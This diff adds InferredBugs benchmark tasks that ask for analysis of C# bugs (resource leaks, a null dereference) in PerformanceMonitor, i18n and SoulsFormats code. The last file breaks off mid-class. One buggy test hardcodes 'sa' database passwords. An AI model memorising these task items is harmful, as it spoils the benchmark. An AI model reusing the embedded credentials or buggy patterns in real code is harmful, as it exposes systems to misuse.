diff --git a/inferredbugs-2382/instruction.md b/inferredbugs-2382/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..394c0981641994758af022bbd997ae68bdefd802
--- /dev/null
+++ b/inferredbugs-2382/instruction.md
@@ -0,0 +1,103 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** PerformanceMonitor
+**Bug ID:** 5
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+
+using System.Data.SqlClient;
+using Xunit;
+
+namespace UnitTestProject1
+{
+    public class TestTransfer
+    {
+        public TestTransfer() { }
+        [Fact]
+        public void TestSQLConnection()
+        {
+            bool isOpen = false;
+            var connection = "Server = 10.0.75.1,1433; Initial Catalog = PerformanceData  ; User Id = sa; Password = Abc12345";
+            using (var serCon = new SqlConnection(connection))
+            {
+                try
+                {
+                    serCon.Open();
+                    isOpen = true;
+                }
+                catch
+                {
+                    isOpen = false;
+                }
+            }
+            Assert.True(isOpen);
+
+            var connection = "Server = 10.0.75.1,1433; Initial Catalog = PerformanceData  ; User Id = sa; Password = JBKmichigan20";
+            using (var serCon = new SqlConnection(connection))
+            {
+                try
+                {
+                    serCon.Open();
+                    return true;
+                }
+                catch
+                {
+                    return false;
+                }
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource serCon of type System.Data.SqlClient.SqlConnection in method "Boolean TestTransfer.TestSQLConnection()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Boolean TestTransfer.TestSQLConnection()
+
+### File:
+test/TestDataTransfer/UnitTest1.cs
+
+### Key:
+UnitTest1.cs|TestSQLConnection|DOTNET_RESOURCE_LEAK
+
+### Hash:
+c6c89fe9e82a64b4f49120b2f039d5f4
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2401/instruction.md b/inferredbugs-2401/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b3cee581a36ba2dfe6c84f01c8de7c65d273f222
--- /dev/null
+++ b/inferredbugs-2401/instruction.md
@@ -0,0 +1,588 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** i18n
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using i18n.Domain.Abstract;
+using i18n.Domain.Entities;
+using i18n.Helpers;
+
+namespace i18n.Domain.Concrete
+{
+	public class POTranslationRepository : ITranslationRepository
+	{
+		private i18nSettings _settings;
+
+		public POTranslationRepository(i18nSettings settings)
+		{
+			_settings = settings;
+		}
+
+		#region load
+
+/*MC001
+		/// <summary>
+		/// Retrieves a language queryable for use with LINQ.
+		/// This does not take care of thread safety.
+		/// </summary>
+		/// <param name="tag">The languagetag to get the language for</param>
+		/// <returns>Queryable translate items for use with LINQ</returns>
+		public IQueryable<TranslateItem> GetLanguageItems(string tag)
+		{
+			Translation translation = ParseTranslationFile(tag);
+			return translation.Items.AsQueryable();
+		}
+*/
+
+		public Translation GetLanguage(string tag)
+		{
+			return ParseTranslationFile(tag);
+		}
+
+/*MC001
+		public ConcurrentDictionary<string, TranslateItem> GetLanguageDictionary(string tag)
+		{
+			ConcurrentDictionary<string, TranslateItem> messages = new ConcurrentDictionary<string, TranslateItem>();
+
+			//todo: instead of always calling ParseTranslationFile here we could cache the translation and just read from there. If we want to do that the ITranslationRepository needs to add a ReleaseCache or similar for when the file has been changed.
+			Translation translation = ParseTranslationFile(tag);
+
+
+			// Only if a msgstr (translation) is provided for this entry do we add an entry to the cache.
+			// This conditions facilitates more useful operation of the IsLanguageValid method,
+			// which prior to this condition was indicating a language was available when in fact there
+			// were zero translation in the PO file (it having been autogenerated during gettext merge).
+			foreach (TranslateItem item in translation.Items)
+			{
+				if (!string.IsNullOrWhiteSpace(item.Message))
+				{
+					if (!messages.ContainsKey(item.Id))
+					{
+						messages[item.Id] = item;
+					}
+				}
+			}
+
+			return messages;
+		}
+*/
+
+		public IEnumerable<Language> GetAvailableLanguages()
+		{
+			//todo: ideally we want to fill the other data in the Language object so this is usable by project incorporating i18n that they can simply lookup available languages. Maybe we even add a country property so that it's easier for projects to add corresponding flags.
+
+			DirectoryInfo di = new DirectoryInfo(GetAbsoluteLocaleDir());
+			List<Language> dirList = new List<Language>();
+			Language language;
+
+			foreach (var dir in di.EnumerateDirectories().Select(x => x.Name))
+			{
+				language = new Language();
+				language.LanguageShortTag = dir;
+				dirList.Add(language);
+			}
+			return dirList;
+		}
+
+		public bool TranslationExists(string tag)
+		{
+			return File.Exists(GetPathForLanguage(tag));
+		}
+
+		#endregion
+
+		#region save
+
+		public void SaveTranslation(Translation translation)
+		{
+			string filePath = GetPathForLanguage(translation.LanguageInformation.LanguageShortTag);
+			string backupPath = GetPathForLanguage(translation.LanguageInformation.LanguageShortTag) + ".backup";
+
+			if (File.Exists(filePath)) //we backup one version. more advanced backup solutions could be added here.
+			{
+				if (File.Exists(backupPath))
+				{
+					File.Delete(backupPath);
+				}
+				System.IO.File.Move(filePath, backupPath);
+			}
+
+			if (File.Exists(filePath)) //we make sure the old file is removed first
+			{
+				File.Delete(filePath);
+			}
+
+			bool hasReferences = false;
+
+			using (StreamWriter stream = new StreamWriter(filePath))
+			{
+               // Establish ordering of items in PO file.
+                var orderedItems = translation.Items.Values
+                    .OrderBy(x => x.References == null || x.References.Count() == 0)
+                        // Non-orphan items before orphan items.
+                    .ThenBy(x => x.Id);
+                        // Then order alphanumerically.
+               //
+				foreach (var item in orderedItems)
+				{
+					hasReferences = false;
+
+					if (item.TranslatorComments != null)
+					{
+						foreach (var translatorComment in item.TranslatorComments)
+						{
+							stream.WriteLine("# " + translatorComment);
+						}
+					}
+
+					if (item.ExtractedComments != null)
+					{
+						foreach (var extractedComment in item.ExtractedComments)
+						{
+							stream.WriteLine("#. " + extractedComment);
+						}
+					}
+
+					if (item.References != null)
+					{
+						foreach (var reference in item.References)
+						{
+							hasReferences = true;
+							stream.WriteLine("#: " + reference);
+						}
+					}
+
+					if (item.Flags != null)
+					{
+						foreach (var flag in item.Flags)
+						{
+							stream.WriteLine("#, " + flag);
+						}
+					}
+
+					if (hasReferences)
+					{
+						stream.WriteLine("msgid \"" + escape(item.Id) + "\"");
+						stream.WriteLine("msgstr \"" + escape(item.Message) + "\"");
+						stream.WriteLine("");
+					}
+					else
+					{
+						stream.WriteLine("#~ msgid \"" + escape(item.Id) + "\"");
+						stream.WriteLine("#~ msgstr \"" + escape(item.Message) + "\"");
+						stream.WriteLine("");
+					}
+					
+				}
+			}
+		}
+
+		public void SaveTemplate(IDictionary<string, TemplateItem> items)
+		{
+			string filePath = GetAbsoluteLocaleDir() + "/messages.pot";
+			string backupPath = filePath + ".backup";
+
+			if (File.Exists(filePath)) //we backup one version. more advanced backup solutions could be added here.
+			{
+				if (File.Exists(backupPath))
+				{
+					File.Delete(backupPath);
+				}
+				System.IO.File.Move(filePath, backupPath);
+			}
+
+			if (File.Exists(filePath)) //we make sure the old file is removed first
+			{
+				File.Delete(filePath);
+			}
+
+			using (StreamWriter stream = new StreamWriter(filePath))
+			{
+				foreach (var item in items.Values)
+				{
+					if (item.Comments != null)
+					{
+						foreach (var comment in item.Comments)
+						{
+							stream.WriteLine("#. " + comment);
+						}
+					}
+
+					foreach (var reference in item.References)
+					{
+						stream.WriteLine("#: " + reference);
+					}
+
+					stream.WriteLine("msgid \"" + escape(item.Id) + "\"");
+					stream.WriteLine("");
+				}
+			}
+		}
+
+		#endregion
+
+		#region helpers
+
+		private string GetAbsoluteLocaleDir()
+		{
+			string localeDir = _settings.LocaleDirectory;
+			String path;
+
+			if (Path.IsPathRooted(localeDir))
+			{
+				path = localeDir;
+			}
+			else
+			{
+				path = Path.GetFullPath(localeDir);
+			}
+
+			return path;
+		}
+
+		private string GetPathForLanguage(string tag)
+		{
+			string path = GetAbsoluteLocaleDir();
+			return path + "/" + tag + "/messages.po";
+		}
+
+		private Translation ParseTranslationFile(string tag)
+		{
+			//todo: consider that lines we don't understand like headers from poedit and #| should be preserved and outputted again.
+
+			Translation translation = new Translation();
+			Language language = new Language();
+			language.LanguageShortTag = tag;
+			translation.LanguageInformation = language;
+			var items = new ConcurrentDictionary<string, TranslateItem>();
+
+			string path = GetPathForLanguage(tag);
+
+			using (var fs = File.OpenText(path))
+			{
+				// http://www.gnu.org/s/hello/manual/gettext/PO-Files.html
+
+				string line;
+				bool currentlyReadingItem = false;
+				while ((line = fs.ReadLine()) != null)
+				{
+					List<string> extractedComments = new List<string>();
+					List<string> translatorComments = new List<string>();
+					List<string> flags = new List<string>();
+					List<string> references = new List<string>();
+
+					//read all comments, flags and other descriptive items for this string
+					//if we have #~ its a historical/log entry but it is the messageID/message so we skip this do/while
+					if (line.StartsWith("#") && !line.StartsWith("#~"))
+					{
+						do
+						{
+							currentlyReadingItem = true;
+							switch (line[1])
+							{
+								case '.': //Extracted comments
+									extractedComments.Add(line.Substring(2).Trim());
+									break;
+								case ':': //references
+									references.Add(line.Substring(2).Trim());
+									break;
+								case ',': //flags
+									flags.Add(line.Substring(2).Trim());
+									break;
+								case '|': //msgid previous-untranslated-string - NOT used by us
+									break;
+								default: //translator comments
+									translatorComments.Add(line.Substring(1).Trim());
+									break;
+							}
+
+						} while ((line = fs.ReadLine()) != null && line.StartsWith("#"));
+					}
+
+					if (currentlyReadingItem || line.StartsWith("#~"))
+					{
+						TranslateItem item = ParseBody(fs, line);
+
+                        if (item != null) {
+                           //
+					        item.TranslatorComments = translatorComments;
+					        item.ExtractedComments = extractedComments;
+					        item.Flags = flags;
+					        item.References = references;
+                           //
+                            items.AddOrUpdate(
+                                item.Id, 
+                                // Add routine.
+                                k => {
+			                        return item;
+                                },
+                                // Update routine.
+                                (k, v) => {
+                                    v.References = v.References.Append(item.References);
+                                    v.ExtractedComments = v.ExtractedComments.Append(item.References);
+                                    v.TranslatorComments = v.TranslatorComments.Append(item.References);
+                                    v.Flags = v.Flags.Append(item.References);
+                                    return v;
+                                });
+                        }
+					}
+
+					currentlyReadingItem = false;
+				}
+			}
+			translation.Items = items;
+			return translation;
+		}
+
+		private string RemoveCommentIfHistorical(string line)
+		{
+			if (string.IsNullOrWhiteSpace(line))
+			{
+				return null;
+			}
+
+			if (line.StartsWith("#~"))
+			{
+				return line.Replace("#~", "").Trim();
+			}
+
+			return line;
+		}
+
+		private TranslateItem ParseBody(TextReader fs, string line)
+		{
+			if (string.IsNullOrEmpty(line)) {
+                return null; }
+
+            TranslateItem message = new TranslateItem();
+			StringBuilder sb = new StringBuilder();
+
+			line = RemoveCommentIfHistorical(line); //so that we read in removed historical records too
+			if (line.StartsWith("msgid"))
+			{
+				var msgid = Unquote(line);
+				sb.Append(msgid);
+
+				while ((line = fs.ReadLine()) != null)
+				{
+					line = RemoveCommentIfHistorical(line);
+					if (!line.StartsWith("msgstr") && (msgid = Unquote(line)) != null)
+					{
+						sb.Append(msgid);
+					}
+					else
+					{
+						break;
+					}
+				}
+
+				message.Id = Unescape(sb.ToString());
+			}
+
+			sb.Clear();
+			line = RemoveCommentIfHistorical(line);
+			if (!string.IsNullOrEmpty(line) && line.StartsWith("msgstr"))
+			{
+				var msgstr = Unquote(line);
+				sb.Append(msgstr);
+
+				while ((line = fs.ReadLine()) != null && (msgstr = Unquote(line)) != null)
+				{
+					line = RemoveCommentIfHistorical(line);
+					sb.Append(msgstr);
+				}
+
+				message.Message = Unescape(sb.ToString());
+			}
+            return message;
+		}
+
+		#region quoting and escaping
+
+		//this method removes anything before the first quote and also removes first and last quote
+		private string Unquote(string lhs, string quotechar = "\"")
+		{
+			int begin = lhs.IndexOf(quotechar);
+			if (begin == -1)
+			{
+				return null;
+			}
+			int end = lhs.LastIndexOf(quotechar);
+			if (end <= begin)
+			{
+				return null;
+			}
+			return lhs.Substring(begin + 1, end - begin - 1);
+		}
+
+		private string escape(string s)
+		{
+			if (string.IsNullOrWhiteSpace(s))
+			{
+				return null;
+			}
+			return s.Replace("\"", "\\\"");
+		}
+
+		/// <summary>
+		/// Looks up in the subject string standard C escape sequences and converts them
+		/// to their actual character counterparts.
+		/// </summary>
+		/// <seealso href="http://stackoverflow.com/questions/6629020/evaluate-escaped-string/8854626#8854626"/>
+		private string Unescape(string s)
+		{
+			Regex regex_unescape = new Regex("\\\\[abfnrtv?\"'\\\\]|\\\\[0-3]?[0-7]{1,2}|\\\\u[0-9a-fA-F]{4}|.");
+
+			StringBuilder sb = new StringBuilder();
+			MatchCollection mc = regex_unescape.Matches(s, 0);
+
+			foreach (Match m in mc)
+			{
+				if (m.Length == 1)
+				{
+					sb.Append(m.Value);
+				}
+				else
+				{
+					if (m.Value[1] >= '0' && m.Value[1] <= '7')
+					{
+						int i = 0;
+
+						for (int j = 1; j < m.Length; j++)
+						{
+							i *= 8;
+							i += m.Value[j] - '0';
+						}
+
+						sb.Append((char)i);
+					}
+					else if (m.Value[1] == 'u')
+					{
+						int i = 0;
+
+						for (int j = 2; j < m.Length; j++)
+						{
+							i *= 16;
+
+							if (m.Value[j] >= '0' && m.Value[j] <= '9')
+							{
+								i += m.Value[j] - '0';
+							}
+							else if (m.Value[j] >= 'A' && m.Value[j] <= 'F')
+							{
+								i += m.Value[j] - 'A' + 10;
+							}
+							else if (m.Value[j] >= 'a' && m.Value[j] <= 'a')
+							{
+								i += m.Value[j] - 'a' + 10;
+							}
+						}
+
+						sb.Append((char)i);
+					}
+					else
+					{
+						switch (m.Value[1])
+						{
+							case 'a':
+								sb.Append('\a');
+								break;
+							case 'b':
+								sb.Append('\b');
+								break;
+							case 'f':
+								sb.Append('\f');
+								break;
+							case 'n':
+								sb.Append('\n');
+								break;
+							case 'r':
+								sb.Append('\r');
+								break;
+							case 't':
+								sb.Append('\t');
+								break;
+							case 'v':
+								sb.Append('\v');
+								break;
+							default:
+								sb.Append(m.Value[1]);
+								break;
+						}
+					}
+				}
+			}
+
+			return sb.ToString();
+		}
+
+		#endregion
+
+		#endregion
+	}
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `line` last assigned on line 363 could be null and is dereferenced at line 364, column 4.
+
+### Severity:
+ERROR
+
+### Procedure:
+TranslateItem POTranslationRepository.ParseBody(TextReader,String)
+
+### File:
+src/i18n.Domain/Concrete/POTranslationRepository.cs
+
+### Key:
+POTranslationRepository.cs|ParseBody|NULL_DEREFERENCE
+
+### Node Key:
+90535029835413c6e5d1bdebbf52bdf9
+
+### Hash:
+0a6f568fc8923f33b510e1c243325c94
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2406/instruction.md b/inferredbugs-2406/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c78daa2bcb7c0feb758654c26dcaa68dce7458e2
--- /dev/null
+++ b/inferredbugs-2406/instruction.md
@@ -0,0 +1,211 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** i18n
+**Bug ID:** 14
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Text.RegularExpressions;
+using i18n.Helpers;
+
+namespace i18n
+{
+    /// <summary>
+    /// HTTP module responsible for:
+    /// 1. Implementing early URL localization
+    /// 2. Installing our ResponseFilter into the ASP.NET pipeline.
+    /// </summary>
+    /// <remarks>
+    ///     LocalizingModule can be installed like this:
+    /// 
+    ///         IIS7+ Integrated mode:
+    /// 
+    ///           &lt;system.webServer&gt;
+    ///             &lt;modules&gt;
+    ///               &lt;add name="i18n.LocalizingModule" type="i18n.LocalizingModule, i18n" /&gt;
+    ///             &lt;/modules&gt;
+    ///           &lt;/system.webServer&gt;
+    /// 
+    ///         IIS7 Classic mode and IIS6:
+    /// 
+    ///           &lt;system.web&gt;
+    ///             &lt;httpModules&gt;
+    ///               &lt;add name="i18n.LocalizingModule" type="i18n.LocalizingModule, i18n" /&gt; &lt;!-- #37 --&gt;
+    ///             &lt;/httpModules&gt;
+    ///           &lt;/system.web&gt;
+    /// </remarks>
+    public class LocalizingModule : System.Web.IHttpModule
+    {
+        private IRootServices m_rootServices;
+
+        public LocalizingModule()
+        :   this(LocalizedApplication.Current)
+        {}
+        public LocalizingModule(
+            IRootServices rootServices)
+        {
+            m_rootServices = rootServices;
+        }
+
+    #region [IHttpModule]
+
+        public void Init(System.Web.HttpApplication application)
+        {
+            DebugHelpers.WriteLine("LocalizingModule::Init -- application: {0}", application);
+            
+            // Wire up our event handlers into the ASP.NET pipeline.
+            application.BeginRequest        += OnBeginRequest;
+            application.ReleaseRequestState += OnReleaseRequestState;
+            application.PostRequestHandlerExecute += OnPostRequestHandlerExecute;
+        }
+        public void Dispose() {}
+
+    #endregion
+
+    // Implementation
+
+    // Events handlers
+
+        /// <summary>
+        /// Handler for the BeginRequest ASP.NET request pipeline event, where we inject our
+        /// Early URL Localization logic.
+        /// </summary>
+        private void OnBeginRequest(object sender, EventArgs e)
+        {
+            System.Web.HttpContextBase context = System.Web.HttpContext.Current.GetHttpContextBase();
+            DebugHelpers.WriteLine("LocalizingModule::OnBeginRequest -- sender: {0}, e:{1}, ContentType: {2},\n\tUrl: {3}\n\tRawUrl:{4}", sender, e, context.Response.ContentType, context.Request.Url, context.Request.RawUrl);
+
+            // Establish the language for the request. That is, we need to call
+            // context.SetPrincipalAppLanguageForRequest with a language, got from the URL,
+            // the i18n.langtag cookie, the Accept-Language header, or failing all that the
+            // default application language.
+            // · If early URL localizer configured, allow it to do it.
+            if (UrlLocalizer.UrlLocalizationScheme != UrlLocalizationScheme.Void
+                && m_rootServices.EarlyUrlLocalizerForApp != null) {
+                m_rootServices.EarlyUrlLocalizerForApp.ProcessIncoming(context); }
+            // · Otherwise skip the URL aspect and detemrine from the other (inferred) attributes.
+            else {
+                context.SetPrincipalAppLanguageForRequest(context.GetInferredLanguage()); }
+        }
+
+        /// <summary>
+        /// Handler for the ReleaseRequestState ASP.NET request pipeline event.
+        /// This event occurs late on in the pipeline but prior to the response being filtered.
+        /// We take the opportunity to inject our i8n post-processing of the response.
+        /// </summary>
+        private void OnReleaseRequestState(object sender, EventArgs e)
+        {
+        //
+            System.Web.HttpContextBase context = System.Web.HttpContext.Current.GetHttpContextBase();
+            DebugHelpers.WriteLine("LocalizingModule::OnReleaseRequestState -- sender: {0}, e:{1}, ContentType: {2},\n\tUrl: {3}\n\tRawUrl:{4}", sender, e, context.Response.ContentType, context.Request.Url, context.Request.RawUrl);
+
+            // If the content type of the entity is eligible for processing AND the URL is not to be excluded,
+            // wire up our filter to do the processing. The entity data will be run through the filter a
+            // bit later on in the pipeline.
+            if ((LocalizedApplication.Current.ContentTypesToLocalize != null
+                    && LocalizedApplication.Current.ContentTypesToLocalize.Match(context.Response.ContentType).Success) // Include certain content types from being processed
+                    )
+            {
+                if ((LocalizedApplication.Current.UrlsToExcludeFromProcessing != null
+                    && LocalizedApplication.Current.UrlsToExcludeFromProcessing.Match(context.Request.RawUrl).Success) // Exclude certain URLs from being processed
+                    )
+                {
+                    DebugHelpers.WriteLine("LocalizingModule::OnReleaseRequestState -- Bypassing filter, URL excluded: ({0}).", context.Request.RawUrl);
+                }
+                else if ((context.Response.Headers["Content-Encoding"] != null
+                    || context.Response.Headers["Content-Encoding"] == "gzip") // Exclude responses that have already been compressed earlier in the pipeline
+                )
+                {
+                    DebugHelpers.WriteLine("LocalizingModule::OnReleaseRequestState -- Bypassing filter, response compressed.");
+                }
+                else
+                {
+                    DebugHelpers.WriteLine("LocalizingModule::OnReleaseRequestState -- Installing filter");
+                    context.Response.Filter = new ResponseFilter(
+                        context,
+                        context.Response.Filter,
+                        UrlLocalizer.UrlLocalizationScheme == UrlLocalizationScheme.Void ? null : m_rootServices.EarlyUrlLocalizerForApp,
+                        m_rootServices.NuggetLocalizerForApp);
+                }
+            }
+            else {
+                DebugHelpers.WriteLine("LocalizingModule::OnReleaseRequestState -- Bypassing filter, No content-type match: ({0}).", context.Response.ContentType);
+            }
+        }
+
+        private void OnPostRequestHandlerExecute(object sender, EventArgs e)
+        {
+            //Deal with an issue that causes empty responses to requests for WebResource.axd, set the internal HttpWriter to allow further writes
+            //this is not known to be necessary for any other cases, hence the hard-coded check for the WebResource.axd URL
+            var context = System.Web.HttpContext.Current;
+            DebugHelpers.WriteLine("LocalizingModule::OnPostRequestHandlerExecute -- sender: {0}, e:{1}, ContentType: {2},\n\tUrl: {3}\n\tRawUrl:{4}", sender, e, context.Response.ContentType, context.Request.Url, context.Request.RawUrl);
+
+            if (context.Request.RawUrl.ToLower().Contains("/webresource.axd"))
+            {
+                var response = context.Response;
+                var httpWriterField = typeof(System.Web.HttpResponse).GetField("_httpWriter",
+                                        System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);
+                var ignoringFurtherWritesField = typeof(System.Web.HttpWriter).GetField("_ignoringFurtherWrites",
+                                                System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);
+                var httpWriter = httpWriterField.GetValue(response);
+                ignoringFurtherWritesField.SetValue(httpWriter, false);
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of i18n.ResponseFilter::.ctor() at Line 131) of type i18n.ResponseFilter, Leaked resource (output of i18n.ResponseFilter::.ctor() at Line 121) of type i18n.ResponseFilter in method "Void LocalizingModule.OnReleaseRequestState(Object,EventArgs)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void LocalizingModule.OnReleaseRequestState(Object,EventArgs)
+
+### File:
+src/i18n/Pipeline/LocalizingModule.cs
+
+### Key:
+LocalizingModule.cs|OnReleaseRequestState|DOTNET_RESOURCE_LEAK
+
+### Hash:
+7f03eb36f53044f1eb78cac4e8f5c653
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2408/instruction.md b/inferredbugs-2408/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ffb175c7c1fd5319cd2f658041220f9264c56053
--- /dev/null
+++ b/inferredbugs-2408/instruction.md
@@ -0,0 +1,446 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** SoulsFormats
+**Bug ID:** 7
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.IO;
+
+namespace SoulsFormats
+{
+    /// <summary>
+    /// A general-purpose headered file container used in DS1 and DSR. Extensions: .*bhd (header) and .*bdt (data)
+    /// </summary>
+    public class BXF3 : IBinder
+    {
+        #region Public Is
+        /// <summary>
+        /// Returns true if the bytes appear to be a BXF3 header file.
+        /// </summary>
+        public static bool IsBHD(byte[] bytes)
+        {
+            BinaryReaderEx br = new BinaryReaderEx(false, bytes);
+            return IsBHD(Util.GetDecompressedBR(br, out _));
+        }
+
+        /// <summary>
+        /// Returns true if the file appears to be a BXF3 header file.
+        /// </summary>
+        public static bool IsBHD(string path)
+        {
+            using (FileStream fs = System.IO.File.OpenRead(path))
+            {
+                BinaryReaderEx br = new BinaryReaderEx(false, fs);
+                return IsBHD(Util.GetDecompressedBR(br, out _));
+            }
+        }
+
+        /// <summary>
+        /// Returns true if the file appears to be a BXF3 data file.
+        /// </summary>
+        public static bool IsBDT(byte[] bytes)
+        {
+            BinaryReaderEx br = new BinaryReaderEx(false, bytes);
+            return IsBDT(Util.GetDecompressedBR(br, out _));
+        }
+
+        /// <summary>
+        /// Returns true if the file appears to be a BXF3 data file.
+        /// </summary>
+        public static bool IsBDT(string path)
+        {
+            using (FileStream fs = System.IO.File.OpenRead(path))
+            {
+                BinaryReaderEx br = new BinaryReaderEx(false, fs);
+                return IsBDT(Util.GetDecompressedBR(br, out _));
+            }
+        }
+        #endregion
+
+        #region Public Read
+        /// <summary>
+        /// Reads two arrays of bytes as the BHD and BDT.
+        /// </summary>
+        public static BXF3 Read(byte[] bhdBytes, byte[] bdtBytes)
+        {
+            BinaryReaderEx bhdReader = new BinaryReaderEx(false, bhdBytes);
+            BinaryReaderEx bdtReader = new BinaryReaderEx(false, bdtBytes);
+            return new BXF3(bhdReader, bdtReader);
+        }
+
+        /// <summary>
+        /// Reads an array of bytes as the BHD and a file as the BDT.
+        /// </summary>
+        public static BXF3 Read(byte[] bhdBytes, string bdtPath)
+        {
+            using (FileStream bdtStream = System.IO.File.OpenRead(bdtPath))
+            {
+                BinaryReaderEx bhdReader = new BinaryReaderEx(false, bhdBytes);
+                BinaryReaderEx bdtReader = new BinaryReaderEx(false, bdtStream);
+                return new BXF3(bhdReader, bdtReader);
+            }
+        }
+
+        /// <summary>
+        /// Reads a file as the BHD and an array of bytes as the BDT.
+        /// </summary>
+        public static BXF3 Read(string bhdPath, byte[] bdtBytes)
+        {
+            using (FileStream bhdStream = System.IO.File.OpenRead(bhdPath))
+            {
+                BinaryReaderEx bhdReader = new BinaryReaderEx(false, bhdStream);
+                BinaryReaderEx bdtReader = new BinaryReaderEx(false, bdtBytes);
+                return new BXF3(bhdReader, bdtReader);
+            }
+        }
+
+        /// <summary>
+        /// Reads a file as the BHD and a file as the BDT.
+        /// </summary>
+        public static BXF3 Read(string bhdPath, string bdtPath)
+        {
+            using (FileStream bhdStream = System.IO.File.OpenRead(bhdPath))
+            using (FileStream bdtStream = System.IO.File.OpenRead(bdtPath))
+            {
+                BinaryReaderEx bhdReader = new BinaryReaderEx(false, bhdStream);
+                BinaryReaderEx bdtReader = new BinaryReaderEx(false, bdtStream);
+                return new BXF3(bhdReader, bdtReader);
+            }
+        }
+        #endregion
+
+        #region Public Write
+        /// <summary>
+        /// Writes the BHD and BDT as two arrays of bytes.
+        /// </summary>
+        public void Write(out byte[] bhdBytes, out byte[] bdtBytes)
+        {
+            BinaryWriterEx bhdWriter = new BinaryWriterEx(false);
+            BinaryWriterEx bdtWriter = new BinaryWriterEx(false);
+            Write(bhdWriter, bdtWriter);
+            bhdBytes = bhdWriter.FinishBytes();
+            bdtBytes = bdtWriter.FinishBytes();
+        }
+
+        /// <summary>
+        /// Writes the BHD as an array of bytes and the BDT as a file.
+        /// </summary>
+        public void Write(out byte[] bhdBytes, string bdtPath)
+        {
+            using (FileStream bdtStream = System.IO.File.Create(bdtPath))
+            {
+                BinaryWriterEx bhdWriter = new BinaryWriterEx(false);
+                BinaryWriterEx bdtWriter = new BinaryWriterEx(false, bdtStream);
+                Write(bhdWriter, bdtWriter);
+                bdtWriter.Finish();
+                bhdBytes = bhdWriter.FinishBytes();
+            }
+        }
+
+        /// <summary>
+        /// Writes the BHD as a file and the BDT as an array of bytes.
+        /// </summary>
+        public void Write(string bhdPath, out byte[] bdtBytes)
+        {
+            using (FileStream bhdStream = System.IO.File.Create(bhdPath))
+            {
+                BinaryWriterEx bhdWriter = new BinaryWriterEx(false, bhdStream);
+                BinaryWriterEx bdtWriter = new BinaryWriterEx(false);
+                Write(bhdWriter, bdtWriter);
+                bhdWriter.Finish();
+                bdtBytes = bdtWriter.FinishBytes();
+            }
+        }
+
+        /// <summary>
+        /// Writes the BHD and BDT as two files.
+        /// </summary>
+        public void Write(string bhdPath, string bdtPath)
+        {
+            using (FileStream bhdStream = System.IO.File.Create(bhdPath))
+            using (FileStream bdtStream = System.IO.File.Create(bdtPath))
+            {
+                BinaryWriterEx bhdWriter = new BinaryWriterEx(false, bhdStream);
+                BinaryWriterEx bdtWriter = new BinaryWriterEx(false, bdtStream);
+                Write(bhdWriter, bdtWriter);
+                bhdWriter.Finish();
+                bdtWriter.Finish();
+            }
+        }
+        #endregion
+
+        /// <summary>
+        /// The files contained within this BXF3.
+        /// </summary>
+        public List<File> Files { get; set; }
+
